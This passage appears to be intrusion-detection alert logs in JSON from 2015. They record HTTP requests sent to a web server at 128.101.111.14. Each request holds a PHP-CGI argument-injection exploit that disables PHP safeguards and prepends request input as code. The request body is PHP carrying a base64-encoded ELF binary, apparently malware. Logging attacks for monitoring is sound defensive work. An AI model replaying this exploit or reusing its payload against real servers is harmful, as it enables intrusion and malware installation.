TeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p"}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lU